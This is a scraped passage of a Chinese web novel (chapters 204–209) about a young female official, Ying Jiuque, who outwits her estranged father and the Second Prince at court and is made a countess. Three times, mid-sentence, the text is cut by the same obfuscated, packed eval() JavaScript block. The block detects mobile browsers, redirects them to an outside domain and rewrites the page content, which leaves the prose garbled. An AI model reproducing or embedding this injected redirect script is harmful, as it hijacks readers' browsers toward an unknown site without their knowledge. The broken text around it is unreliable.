周围人本来还在看热闹,但是听到那小官儿的话反应过来,觉得他说的对呀。应九阙的亲娘虽然早就已经去世,但是她爹还活着,不过正在群臣之中吗? 虽说之前好像闹出过什么叛出家门的事情,哎呀,打断骨头还连着筋呢,这血缘岂是那么容易就能打断的?于是大家纷纷转头,将目光对准了面色不太好看的林大人。 林炜本来心中正在无限懊恼在应九阙出头之前就跟她断绝了关系,此刻被这么多人看着,突然来了勇气。 说的对呀,不管怎么说,他也是应九阙的亲爹,这血缘关系父女亲情,又怎是应九阙一句话说断就断了的? 越想越觉得有道理,林炜下意识的看了一眼应九阙那个逆女。结果九阙刚好也顺着大伙儿的视线看了一眼自己这个便宜爹。她其实也没用什么含有特殊意义的眼神,只是那么不听不淡的瞟了对方一眼,没想到对方顿时就像被刺激到了似的,脸色通红,身子颤啊颤的,竟是半个字也说不出来了。 “林大人这是高兴坏了。” 那些臣子们又不是蠢货,这会儿自然看清楚林炜的反应,当下他们其实有些嫌弃。都已经做到礼部侍郎的位置,还是这么分不清轻重缓解,被自己家闺女看一眼又能怎么着?至于怕成这个样子吗?怪不到是靠着女人关系爬上来的,就是不堪大用。 林炜本来就被应九阙那一眼看的心跳加快,此刻又被周围同僚们用这样的眼神瞧着简直要呼吸不上来了。想他在官场上纵横十几年,从未想过会在这种关键时刻被卡住。他其实很想让自己不害怕应九阙,可是以往也就算了,这个逆女一直住在郊外的庄子上,三五年都见不上一面,自然对她没什么太深的印象。可是此刻,他看着那个逆女,竟像是看到了当初那个英姿飒爽的女将军。 应重鸣啊,那是个举世皆知的奇女子。就算是林炜也相当敬佩,可那样的女人只适合放在远处观望,不适合作为枕边人。时至今日他依旧能够想起,每当与妻子一起出行,所有人的目光都集中在应重鸣身上,每个人见到他第一反应就是这是那位双子星女将军的丈夫。明明他也是寒窗苦读几十年才辛辛苦苦考上进士的,分明他也是个少年英才,可为什么所有人的目光只集中在那个女人身上?久而久之,当初那些敬佩敬仰渐渐化为了难以言说的酸涩嫉妒。 是的,哪怕不想承认,可林炜内心深处十分清楚,他嫉妒自己的妻子,嫉妒那个被称为双子星战神的女人。嫉妒到哪怕是他们二人之间的亲生女儿,也能放在郊外庄子上十几年都不看上一眼。因为每每看到那个女儿,他都会想起自己那堪称失败的前半生。 可没想到十几年过去,自己竟然又看到了那个女人的缩影。难道应家的血脉就如此尊崇?厉害到分明只是个被放养的女儿,也能在十几岁的年纪于朝堂之上崭露头角,甚至风头远远超过他这个亲生父亲? “你,你……” 语气颤抖着想要开口,可林炜真正张开嘴之后却只听到自己的耳中回荡着一个字。再看看那个逆女,分明没把自己放在眼里! 喜欢郡主不可以登基吗?请大家收藏:()郡主不可以登基吗?更新速度全网最快。 第二百零四章 有意思吗? 周围那些大臣原本还想看一场亲生父女之间的大战,结果这个林侍郎真是一点儿用场都派不上。不是他们小瞧,连对着自己的闺女都说不出一句完整的话,至于那么害怕吗?哦,想起来了,想当初这位面如冠玉的林侍郎就是凭着一张脸才骗的那位被称为双子星战神的应重鸣将军的青睐。简而言之就是个小白脸儿。 啧! 不过虽然林侍郎说不出指责的话,但周围那些官员非常乐于帮忙。此刻就有一个,摆出悲天悯人世家长辈的模样,语重心长的劝慰九阙。 “应侄女儿,本官是你父亲的故交,你父亲身体不适,本官却看不下去了。今日不得不倚老卖老,当着诸位大人的面说教几句……” “请问你是?” 那个中年男人准备说出口的话被九阙拦了一下。顿时脸上有些不好看,这会儿黑着脸开口解释自己的身份。 “我是方宇,礼部员外郎,与你父亲也是十几年的故交……” “实在是不好意思,这位方大人。或许你和林大人之间的交情是在我于庄子上长大那十几年处出来的。因为本官对你毫无印象。” 九阙话都说到这份上了,若是个机灵的,此刻就应该闭上嘴,给自己留几分面子,没想到这方大人也是个奇葩。这会儿那叫一个不依不饶。 “虽说你如今已经是朝廷官员,但应遵守的礼仪还是得遵守。我再怎么说也是你的长辈,你怎能在长辈说话时打断?” 应九阙长长的叹了口气,每当她想在众人面前保留一下自己遵纪守法的印象时总会有人迫不及待的跳出来挑战自己的底线,难道这些人真以为自己是那种温润恭孝之人? 一直低着头默不作声的纯于霜这会儿忍不住嘴角勾起个弧度,换了个更舒服的姿势,静静等待。 果然,下一刻应九阙就语重心长的开口。 “这位大人怎么就是听不懂呢?本官刚刚是给你留着面子,你说你是我长辈就是了!那本官也有话说,虽然本官年纪小,但本官也是你的长辈,在官场之中,既然不用官职称呼,那就麻烦你叫我一声姑奶奶吧。” “什什么?!岂有此理,你怎可当着陛下诸位大臣的面如此羞辱于我?你是我哪门子的长辈?有什么证据?” “原来这位方大人还知道说话要讲证据啊,我还以为你无凭无据,只凭着一张嘴就能当在场所有人的长辈了。虽说本官年纪小,但还有句话要告诉方大人。这世上,不是你年纪大就能做别人的长辈。如果真按年纪论长幼,本官倒是认识一位八十岁的老人,要不你叫他一声祖爷爷?至于姓氏不同这问题,既然方大人您都不介意了,我觉得那位老人应该也不会介意收个重孙子。” “你!你?!” 那位方大人跳出来还不过一刻钟,直接被九阙这一连串话给打击的喘不上气,胸膛剧烈起伏,旁边看的人都担心他下一刻会呼吸不上来把自己给噎死。 淳于霜死死掐住自己的掌心,担心自己下一刻会控制不住,喷笑出来。淡定,一定要淡定,她现在站着的地方可是金銮殿,高台之上坐着的可是这个国家的主宰。怎么能在这种严肃的地方笑出来呢?不应该,实在是不应该。 兵部陈尚书倒是没那么多顾虑,这会儿哈哈大笑。活该,谁让这狗东西刚刚跳出来做出头鸟的?没看大家都没出声呢,就你要显摆?!这会儿把自己给显摆出事儿了吧?活该。真以为自己年纪大就能做别人的长辈了,那得看人家认不认。 由于第一个出头鸟直接被九阙给摁了回去,而且被气个半死,一时半会儿的其他人也不敢再开口了,主要是他们也怕应九阙不管不顾把自己给撅回去。说亲不成事小,丢面子事大啊。 然而就在大家举棋不定的时候,另一位勇士出现了,这位勇士不是别人,正是礼仪大夫二皇子。 二皇子想的很简单,在众人都不敢吭声的时候,他来挑大梁,把应九阙给摁下去,文武百官还不得崇拜自己? 他很自信,因为在这样的场合上,即便他说不过应九阙,父皇也不会眼睁睁坐视自己的名声受到损毁,父皇一定会帮他的! 没错,二皇子就是如此迷之自信。 在他走出来准备开口之前,二皇子其实没抬头看看自家父皇的脸,因为景泰帝的表情实在不好看。 这个混账东西又要搞什么幺蛾子?他难道就不会看看气氛吗?现在整个朝堂的人都不对九阙说三道四,他还跳出来作什么妖呢?! 可惜,二皇子实在不够机灵,因此根本看不透景泰帝心中所想,这会儿义正言辞的表示。 “应九阙,你身为女子能得到陛下嘉奖跻身朝堂之中已然是蒙天之幸,怎可如此伶牙俐齿?朝中诸位大臣都是你的前辈,对前辈就是如此说话的吗?再加上,不管前因如何,林大人毕竟是你的生父。这血脉亲情无论如何也割舍不断。本皇子听说你之前与林大人之间有些误会,不如趁着这个机会将误会解除,又是和和美美的一家子,何乐而不为呢?” 说这话的时候二皇子无比自信。他笃信应九阙不想被林家除族,这世道谁会想脱离家族呢?因此他引出这个话头,应九阙还不得感激他? 只是很奇怪的,他突然感到背后一阵发凉。 背后发凉就对了,因为这会儿九阙正在心里吐槽二皇子。 【这二皇子脑壳是被驴踢了吗?这么大个包。他管我的私事儿做什么?他不是皇子吗?还是个很想当皇帝的皇子,那就要处理国家大事呀,纠结我这种私事儿算什么?朝堂之上,陛下面前,你要展示出自己的本领手段啊。如今新式制盐法一出,天下百姓再也不缺盐吃了,还不赶紧趁热打铁趁着这个机会宣扬一下大景皇室的恩德功绩?这正是让四海臣服的绝佳时机呀!纠结在我认不认爹这种事上,有意思吗?】 喜欢郡主不可以登基吗?请大家收藏:()郡主不可以登基吗?更新速度全网最快。 第二百零五章 丢脸 是啊,纠结这种小事儿有意思吗?景泰帝也很想问问自己的儿子,你的脑袋都被稻草给塞住了吗?!其实景泰帝根本不介意自己的儿子们惦记他屁股底下这张椅子,如果身为皇子连皇位都不敢肖想,那还有什么意思?可问题是老二,你得找准方向啊。你应该纠结的是国家大事,何必要在九阙一个人身上费这么多口舌呢? 更何况,一个人,只要能对国家有利,能为你所用,你管它男的女的还是不男不女?身为上位,者最重要的是要会使用人才,而不是在这种小事儿上把人才逼走。老二难道忘了应九阙刚刚研制出了新式制盐法?不仅食盐的产量是往常的十倍不止,而且成本大大降低。说句大言不惭的话,以后整个大景都不缺盐吃了,这一切都要归功于应九阙。她以后可是要名垂青史的人物,你在这种时候跟她别苗头,难道是想遗臭万年吗?对于百姓来说,他们可不在意让他们吃上盐的是男是女啊! 糊涂!真是糊涂至极! 九阙先是看了一眼不依不饶的二皇子,又看一眼默不作声的陛下,明白了,这是想让她自己解决呀,刚好对于这位二皇子殿下九阙其实有诸多不解,趁着这个机会好好问问。 “二殿下,微臣有个疑问,希望您能解答。” 说罢不等二皇子开口,九阙干脆利落的表示。 “微臣听说您这段时间引领风尚,在文人墨客中颇受好评。说起来,您与大皇子三皇子都是亲兄弟,俗话说打虎亲兄弟,上阵父子兵。如今大皇子三皇子虽说已然去世,但他们名声有瑕,就算与九泉之下也无法安生。不如二殿下将您这次的功绩安在大皇子与三皇子头上,也好让他们能受到后世敬仰。不知二殿下是否愿意?” “你在说什么胡话?!大皇子与三皇子罪有应得,本皇子何必把自己得来的功绩安在他们头上?反正无论如何他们都不能葬入皇陵……” 二皇子下意识的反驳,只是说到此处时听闻耳边一阵疯狂的咳嗽,二皇子才反应过来,原来那个应九阙竟是在给自己下套!他下意识想要反驳,却发现自己已经失了先机。 “是啊,凭什么呢?殿下都不愿意把自己的功劳安在亲兄弟身上,为什么认为微臣会愿意将自己辛苦得来的功劳给一个已经断绝父女关系的人?更何况我与林炜有什么血缘亲情?我姓应,从小跟着我母亲长大,我的名字本应记在应家族谱之上。林炜小人,当初入赘给我母亲,明明是他自己先提出来心甘情愿的,却在我母亲去世之后悄悄将我的名字改在林家族谱上。或许听到这里诸位大臣会认为林伟对我的感情很深,这才愿意将女儿接到林家族谱上,可事实上他只是把我的名字记到那张纸上而已。他此举并不是与我母亲感情匪浅,他只是想要出一口恶气,因为他觉得做个赘婿辱没了他的身份。如果不是当初母亲留下的旧人拼命反抗,或许他会将我的姓氏也改掉。” “改了族谱之后,他并不想让我这个证明他曾经屈辱过往的证人留在身边,让别人时时刻刻提醒他那段不光彩的历史,干脆将我扔到郊外的庄子上,一待就是十三年。这十三年间我从未见过他一面,敢问二殿下,我与林炜之间有何父女亲情?是他好不容易想起我来,只是为了拿我当个联姻的筹码,还是在我遇到危险之际忙不迭与我解除关系,生怕我连累他?” “我早就与林炜断绝关系,因此二殿下所言,与我没有丝毫道理。我此次南下,被当地恶势力抓到矿山,我挖过矿吃过米糠,为了活命也曾委曲求全。黔州的土地上至今仍有抓不回来的活死人不知活跃在哪处犄角旮旯。敢问二殿下,我在外面抛头颅洒热血,险些回不来之际,我这位好父亲在京城好端端做他的礼部侍郎,他可曾有丝毫危险?他可曾提醒过我外出不易?他可曾给予我一丝一毫的帮助?这些全都没有。” “所以二殿下请恕您的言论,微臣不能赞同。我就是我,我是应九阙,应重鸣将军之女,当今陛下亲封的官员。我吃的是陛下的俸禄,食君之禄忠君之事,我只需要办好陛下交代的事情就可以。因为我在外面抛头颅洒热血的时候也没人告诉我要好好努力,以后所得到的所有功绩都安到林炜身上!” 满朝文武目瞪口呆的看着那个一直表现的相当和气的女子,简直不敢相信自己的眼睛和耳朵,应九阙在说什么?他是在诋毁自己的亲生父亲吗?但是话说真的好劲爆啊,原来林炜早就布满自己赘婿的身份,悄悄把应九阙的族谱身份给改了!改了就算了,当初借着应将军的势力爬到如今的位置,却薄待两人之间唯一的女儿,这也太过分了吧,怪不得应九阙根本不屑于和他相提并论。 这个爹当的真够失败。 林炜眼睁睁瞧着应九阙把自己的老底掀了个干净,脸色由青转红又变黑。这是他不愿意提起的屈辱过往,如今竟被应九阙掀了个一干二净。简直,简直是个逆女! 有这种想法的不仅仅是林炜,还有二皇子。他此刻简直恨不得生吃了应九阙。他如今正是在父皇面前展现自己聪明才智的时候。至于已经死了的老大和老三,平日里他也不吝啬于捧着他们两个好让父皇心里好受些。毕竟人都已经死了,就算给他们些哀荣又能如何呢? 可这个女人三言两语就让自己的真实想法暴露在父皇面前,父皇若是想起之前他曾说过的那些话,还不得怀疑自己所言的真假? 果然,此刻一抬头,景泰帝的脸色并不好看。 如果不是今日亲眼所见,但也不相信自己的朝堂之上竟都会是些蠢货!首当其冲的就是老二,以前在自己面前丢脸也就算了,如今都丢脸丢到整个朝堂面前了! 喜欢郡主不可以登基吗?请大家收藏:()郡主不可以登基吗?更新速度全网最快。 第二百零六章 诉苦 然而身为他的父皇,景泰帝还不得不为二皇子描补,毕竟这是自己仅剩的两个儿子中唯一一个不那么没用的了。 当机立断的下令。 “好了,应卿此次归来乃是天大的好事,莫说那些有的没的。九福,宣旨!” 九福连忙上前展开早就已经准备好的圣旨,赶在众人没有反应过来之前宣布了对应九阙几人的奖赏。 应九阙发明新式制盐法,解决国朝危机,抓住黔州血矿山一案背后主使,解救无忧洞之案中其他无辜女子,救助被暗害的滨阳王,找出与北蛮勾结的朝廷官员及皇子…… 赏黄金万两,良田百顷,豪宅一座…… 擢升为瑞安郡主,封镇安伯,升正五品中书舍人! 嗯? 啊?! 哈?! 前半段封赏也就算了,这次应九阙确实功劳极大,可后半段是什么意思?一个女人,诰命得到提升,封为郡主也就算了。怎么还被封只有男人才能封的爵位?而且一封就是个伯爵。这满朝堂之上不知有多少人费尽心思,绞尽脑汁拼上性命,也封不了伯爵。她一个女人轻轻松松就被封了?这如何公平?而且,她以前还是六品小官,现在直接连升三级?距离她上一次被封官连半年都不上。这升官速度也太快了吧?有史以来最快的升官记录都比不上应九阙! 而且这还不是普通的官,中书舍人,这等于直接就进内阁了呀。虽说是内阁里品阶最低的官,但也能被尊称为一声阁老。她一个女人,配得上这等殊荣吗?! 还没等九福宣布完毕,底下的官员就已经炸开了锅,这种沸反盈天的情况下,淳于霜几个的封赏倒是没那么引人注意了,可以说九阙一个人把所有的炮火都给吸引了过去。只不过即便面对整个朝堂的攻讦,九阙依旧不动如山。 她有什么可慌乱的,这爵位官位都是陛下亲自封赏的,陛下还在前面挡着,她这个个子矮的还怕什么?不过,这次皇帝的封赏确实让她有些震惊。这是不是太高了些?也怪不得这些朝臣激动万分,实在是这次对她的封赏太过隆重。但别以为她会推辞,送到嘴边儿的东西她怎么能不收? 果然,哪怕朝堂上诸位臣子鬼哭狼嚎的非要制止,景泰帝就一句话,朕金口玉言,已经下旨,怎能收回? 然后就这样散了朝,那些臣子盯着应九阙的身影,恨的牙痒痒,却还是没办法,就算在散朝回去的路上也是三五成群,口中不停嘟囔,想也知道他们在说九阙的坏话。 淳于霜听着旁边貌似很小声,但其实根本听的一清二楚的嘲讽,眼角抽了抽,回身看自己的好友。 “要不咱们走快点儿?也免得听了生气。” “我才不会生气,他们这是赤裸裸的嫉妒。说起来我要是他们我也得嫉妒,累死累活在朝堂中打拼十几年,却比不上一个新出头的丫头片子。不过这又有什么办法?是他们比不过我。既然比不过就认赌服输啊,非得在这儿膈应人,那能怪谁?” “咳咳咳!” 旁边明目张胆说九阙坏话的两个官员彼此对视一眼,万分羞愧的走了。应九阙说的也是,他们之所以在这儿嘟嘟囔囔的,不正是因为自己没能比得上应九阙吗?想他们也做了十几年的官,谁没畅想过封侯拜相的快活日子?没想到自己还没实现,竟眼睁睁看着他们看不上的女人实现了! 即便是君子端方的谢明尘也忍不住抽了抽嘴角,这些大臣们变脸的速度也太快了吧?刚刚在朝堂上直接鬼哭狼嚎起来,让他吓了一大跳。 不过这一次大家都有份,齐齐升官。他们三个都升了从五品,这个晋升速度也是首屈一指的了。 “别管那些酸生了,咱们这次可得好好聚聚庆祝一下,升官发财可是大好事儿。要不咱去天上居吃一顿?” “好啊,我早就听说天上居的饭菜在京城也是拔尖儿的,只是太贵了,以前吃不起。刚好陛下赏你黄金万两,这不得吃大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14846388|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 户去?先说好,我要最上等的席面儿!最上等的好酒!” “成成成!都要最上等的,不过你确定你能喝得了酒?” “那你就别管了,就算喝不了,我也得尝尝……” “择日不如撞日,不如就明天吧,今儿个回去跟那些孩子们好好说说这段时间的经历,也让他们别太担心,明儿个中午天上居,我请客!都记得准时来。” “成!” 他们几个倒是快快活活的出宫,只留下滨阳王被景泰帝叫走,这会儿只能听义父发牢骚。 养身殿里,景泰帝屏退了所有人,就剩下滨阳王和九福,或许是太长时间不见自己这个义子,景泰帝拉着滨阳王的手,絮絮叨叨说个没完。 “咱们两个也有好几年没见过面了吧?为父真的好想你,你都不知道这些年在京城,你爹我受了多少罪,吃了多少苦?” “……” 如果他没记错的话,义父是皇帝吧?皇帝还能吃罪受苦啊? “你那四个弟弟,一个比一个蠢,一个比一个会找事儿,你说说这好好的皇子不当,非得背着朕勾结敌人,这也就算了,甚至还掳掠自家百姓卖给旁人,你说他们这脑子都是怎么长的?被驴踢过了不成?!儿啊,你都 不知道那些臣子背地里怎么嘲笑你爹,我感觉这日子过着,一天比一天没劲儿,没意思透了……” “父皇,这也不至于吧……” “什么不至于,你是没亲眼见见我的惨状。老三那个没出息的,朕还没处置他呢,他自己给吓死了!还有老大。贤妃也不是个好的,往我以前以为她当真贤德,原来背地里做了这么多坏事儿。这不?东窗事发了,怕我处置,赶紧自我了断,还把老大也给一块儿带走。我就四个亲儿子,转眼之间已去其二,剩下这两个一个比一个没用。你今天上朝的时候也见了吧?老二那个蠢货,我都不知道该怎么说他。非得盯着九阙不放。他是闲着没事儿干了吗?” 第二百零七章 诉苦 “你说说他是能干比得过人家,还是论嘴巴说的过人家?什么都比不过,只知道自己闷着头往前冲,可是叫看了笑话!就这还不服气呢,散朝的时候我看他耷拉着个脸,不知道准备耍什么阴招?你说说我的命怎么这么苦?这段时间还跟他娘弄出了个什么《女诫》,天天整那些没用的。还不如给我干点儿实事儿呢,就知道讨好那些文人……” “……” 这话滨阳王就不好随便搭了。有些话景泰帝可以抱怨,他这个当义子的可以听,但是不能随声附和,毕竟疏不间亲。当然了,景泰帝对他这个义子也是好的没话说,这次盐城之事,他至少要负一半的责任,但皇帝不仅没有怪罪,反而还大加安抚。甚至还让他接手之后的海盐提炼,这事儿要是做好了,那可是能千古流芳的,说不定也能跟着应九阙在史书上留个好名声。 这么好的事儿,景泰帝没让自己的亲儿子插手,反而让滨阳王全权负责,实在是对他信任有加。滨阳王当然感动的一塌涂地,并且暗暗下定决心,一定要把陛下交代的事情做好了。 但是,陛下怎么这么能抱怨?一刻不停的都说了小半个时辰了吧,不嫌累吗?不嫌口渴吗? 滨阳王实在是无法理解,趁着对方换气的功夫,连忙把面前的清茶端过去一杯,请义父润润喉咙。 “义父,您先歇歇。” 景泰帝抱着茶盏咕咚咕咚喝了个干净,抹了把嘴,然后重重的叹了口气。如今他也只能在这个义子面前放松些了,毕竟在旁人面前他都是高高在上的帝王,肩负着整个大景的前途命运。怎能如此随意嬉笑怒骂? 唉,但这点儿气憋在心里,他要是不发出来,估计得把自己憋死。这会儿跟自己义子絮叨半天,心里总算好受许多。 “儿啊,你是跟着应九阙一起回来的,这一路上你对她的印象如何?” 滨阳王猛然一震,知道这是问到了重点。不过他对九阙的印象实在太好,左思右想都想不出来更委婉的说法,只能重重点了点头。 “儿臣觉得她是个治世能臣,再不济也是个青天式的人物。她在黔州盐城的所作所为父皇应该已经知晓,实在是个不可多得的人才。仅凭在盐场得到的只言片语,就能立马判断出儿臣这里出了岔子,并且艺高人胆大,还敢亲探王府。请恕儿臣直言,如果不是女子身份的拖累,只怕她早已成为朝中肱骨大臣。不过也不能说是拖累,因为在归途中儿臣也曾经旁敲侧击过。应九阙从不为自己的女子身份感到伤怀,甚至还很自豪。” 滨阳王这话还真不是胡编乱造,他至今还能回忆起在船上九阙说这句话的神情,是如此骄傲自豪。 “我为何要因为自己是个女子而感到伤怀?既然有天地之别,自然有男女之分。我为何要因自己天生的性别而难过?难道一个人的能力会因为是男是女而有所区别?梁恒倒是个男的,假扮王爷的那人也是个男子。我并不觉得他们比我更厉害。我是个女人,但女人又如何?我相信有生之年我的功绩会比他们更强。” 滨阳王忍不住想起应重鸣,该说不愧是名将之后吗?母女二人如出一辙的出色。即便有那林炜的参与,依旧难掩这孩子身上的光芒。 不过话说回来,父皇对九阙那孩子的关注是不是太深了?难道这其中还有什么是自己不知道的? 景泰帝想了又想,还是没把自己能听到应九阙心声的话说出来。他也不知这等机密能否说给别人听,万一冥冥之中得罪了哪方神明呢?总而言之,得到了义子的肯定之后,景泰帝对九阙更信任了。 “所以朕给的爵位没白给,这孩子就是有资格有本事得到,也能坐稳!” 至于那什么男女之说,不管你是男是女,只要你有用,就得过来给我干活! 没错,这就是开国帝王的心胸!当年如果不是应重鸣将军战死,景泰帝怎么说也得八抬大轿把应将军请回来做臣子。不过如今有了应九阙,也是他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14846389|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 福气。 话说景泰帝和九阙几个这般欢喜,自然也有人难受不已。首当其冲的就是二皇子。在朝堂之上丢了好大的脸之后,回到自己的地盘儿,二皇子忍不住大发雷霆,在屋里不断打砸东西,外面候着的侍女忍不住瑟瑟发抖。殿下心情不好,里面的瓷器之类的东西自然无法幸免,但紧接着倒霉的就是他们这些近身服侍的。 果然,片刻之后二皇子仅靠打砸那些瓷器无法发泄怒火,将外面站着的几个侍女叫进去,手中的东西不停的砸在她们身上。 “不过是个女人也敢跟我作对。父皇竟然还封她做伯爵,究竟是这个世界疯了还是我疯了?父皇,别以为你封她做伯爵让她升官是为她好!多少人现在虎视眈眈的,那个女人,她坐不稳如今的位置!一个下贱的女人也敢跻身朝堂,甚至敢挑衅我?等我上位,一定要把那些女人都给杀了!杀了!” 半柱香时间过后,二皇子终于冷静下来,喘着粗气让那些伤痕累累的侍女滚出去。这时候有幕僚大着胆子上前劝慰侍奉。 等二皇子好不容易平稳的呼吸之后,小心翼翼的开口。 “二殿下,您没必要跟个女人一般见识,您都不必出手,不出半月,那女人一定坐不稳如今 的位置。” “真的?” “当然是真的,如今陛下对爵位吝惜的很,都快五年没封过爵位了。她一个女人这时候被封为伯爵,岂不是戳大家伙的心窝子吗?这时候肯定有数不清的人都想把她拉下来,好让自己人能上去。殿下您只需稍候,就能看到她翻跟头的时候了。” “说的也是。” “不过,只是干等着也不成。之前让你找的人找到了吗?他意愿如何?愿意出头吗?” “陛下放心,他相当愿意为陛下出谋划策。只需过几日,那应九阙就会自顾不暇了……” “不错!你做的很好。应九阙,本皇子倒是要看看,你能得意到几时!” 第二百零八章 我就不信你们没想过 服侍的侍女这会儿已经走出去,自然也听了那么一耳朵,对那位被封为伯爵的女官,心情很是复杂。一方面,如果不是她,她们今天或许就不会挨这顿打了,但另一方面心中又止不住的羡慕,原来身为女子也能走上高位。 甚至连身为皇子的殿下都会因为她的升官而气愤,如果她们也能这么有本事就好了。但他们不过是个普通的侍女,不仅每日要干活,还要时不时受到殿下责打。在朝堂之上步步高升这种事对她们来说跟做梦也没什么区别。 不过能听到同为女子的应大人做出自己的一番事业,不知怎的,她们心中竟也有些开心呢。就是身上的伤口实在太疼了。如果二皇子妃还活着就好了。那是位性情温和的女子,以往二皇子妃活着的时候,二皇子府一向井井有条,二皇子也不会随意打骂下人。不过说来也奇怪,二皇子妃一向身体健康,怎么会突然就生急病死了?甚至连郎中都来不及请? 而且二皇子妃院中的一应丫鬟小厮都被打死,说是侍奉二皇子妃不当。让她们说这不像是处罚下人,倒像是在灭口。 “你说,二皇子妃真是生病死的吗?” 回到下人住的院落,几个丫鬟为彼此擦拭伤口,其中一个忍不住开口询问。只是他话还没说完就被另一个大丫鬟狠狠捂住了嘴,同时神情紧张的走到门口四下观察,发现确实没人之后才松了口气。 回过身来,对着刚刚说话的同伴就是一顿训斥。 “你不想活了!这种事也是你能随意揣测的?” 被捂住嘴的丫鬟把她的手抚开,神情中带了一缕倔强。 “我就不信你们心里没想过!皇子妃活着的时候对我们多好啊,之前还给了我五两银子,让我给生病的娘治病,我这辈子都记得她的恩德。你们应该都知道,皇子妃为这些年无所出烦恼,曾经请过太医诊治,太医说过她身体相当健康,是长寿之相。这样的人,怎么可能随随便便生一场重病就没了?” “那你说她是怎么了?” 刚刚捂她嘴的大丫鬟这会儿也自暴自弃似的垂下双手,仔细看的话会发现她整个人都在颤抖。 “我不知道皇子妃到底为什么会去世?但我知道这里边一定有问题。你们别忘了,皇子妃的后事都是徐侧妃一手包办的,那速度快的,皇子妃娘娘的家人根本没来得及见她最后一面就被下葬。这里面难道没蹊跷吗?” “你以为就你知道?可我们这种卑贱之人又能做得了什么?更何况你有证据吗?你知道娘娘到底是被谁害死的吗?我们口说无凭,更何况,你觉得现如今,谁会冒着得罪二皇子的风险为一个已经去世的皇子妃沉冤昭雪?” “我!我,我也不知道……” 被问住的青衣丫鬟不知该如何回答,大家渐渐的回过神来,擦拭好伤口之后出去做活了。只不过这青衣丫鬟心中隐隐约约有了个念头。如果现如今当官的人都不敢得罪二皇子,那么只有那位不怕得罪二皇子的人才敢把这桩旧案翻新。那位被新封为镇安伯的应大人,会插手这件事吗?她敢得罪二皇子吗…… 九阙不知道自己此刻已经被惦记上了,她正在给远道那几个孩子兴高采烈的说自己此行的收获。这几个孩子年纪小,也没出过京城,对外面的世界一知半解,此刻听到九阙精彩纷呈意外连连的解说,那叫一个感兴趣,每张小脸儿都绷得紧紧的,生怕漏听半句话。 把自己这段经历经过艺术加工说出来,九阙志满意得的收到几个小家伙的关心。 “原来大人这次出去这么惊险。可惜我们没能跟从,不然的话就能看到大人的英姿了。” “是啊,大人,我跟着府上侍卫学会了好几招,现在可厉害了,不仅能保护自己,以后我还能保护你!” “我也是我也是!大人,你看我给你表演一下!黑虎掏心!白鹤亮翅!” 小孩子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14846390|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们的注意力并不持久,这会儿话题已经偏的没边儿,几个小家伙当着九阙的面嘿嘿哈哈的练起武来,还别说,只看那气势,还真是有模有样的。 看着小家伙们的表演,九阙一边吃着被递到嘴边儿的点心,一边儿不遗余力的大加点评。这才是人生啊。 就在她提前享受天伦之乐的时候,外界早就已经闹翻天了。归根结底还是因为景泰帝给九阙的封赏。现如今外面的酒楼都不说书了,改说九阙这个一路扶摇直上的女官。那热闹的,真是路过的狗也要进去听两句。 “前段时间二殿下不是说女子应该乖巧归于后宅,不插手前朝这些事儿吗?怎么这位应县主,哦不,这位应伯爵,她就这么与众不同?二皇子那么不喜欢女子参与政事,难道就没斥责她几句?或者请陛下收回成命?” “瞧你说的!皇子大还是皇帝大?” “那当然是皇帝大。” “你都知道是皇帝大了。咱们陛下信任应伯爵,更何况应大人带回了新式制盐法,你这两天吃的就是人家带回来的雪盐。这么好的东西吃着,要是不感谢人家也真是亏良心。” “我也没说不感谢应大人,就是觉得怪怪的。以前还真不知道女人当官儿也能当的这么有滋有味儿。瞧瞧人家这一路高升,多少在朝中兢兢业业干了几 十年的官员都没这份殊荣呢。” “那这能怪谁?还不是怪他们自个儿没这份能力。他们要是有应大人这么厉害,早就高升了!不过话说回来,二皇子到底是咱们陛下的亲儿子,他不喜欢应大人,会不会影响陛下对应大人的感官啊?” “这,这应该不至于吧?应大人这回功劳这么大,普天之下没人敢贪她的功,毕竟这可是名垂青史的好事儿。就算二皇子再不喜欢应大人,也不会在这节骨眼儿上找事儿吧?” “这谁知道呢?反正那些天皇贵胄的心思,我是一回都没猜准过……” 第二百零九章 当真可笑! 外面的风风雨雨九阙是不清楚的,她在家里和几个孩子尽情享受了天伦之乐之后,时间已经来到第二天上午。既然昨天已经和小伙伴们约好要去天上居吃饭,九阙早早的就拾掇好自己,赶往天上居。 走在半路的时候,听到外面热闹的喧哗声,九阙打开窗帘探出头去,想要看看外面热闹的街景。结果却奇怪的发现,以往大街上走街串巷欢欢喜喜的人们少了许多。 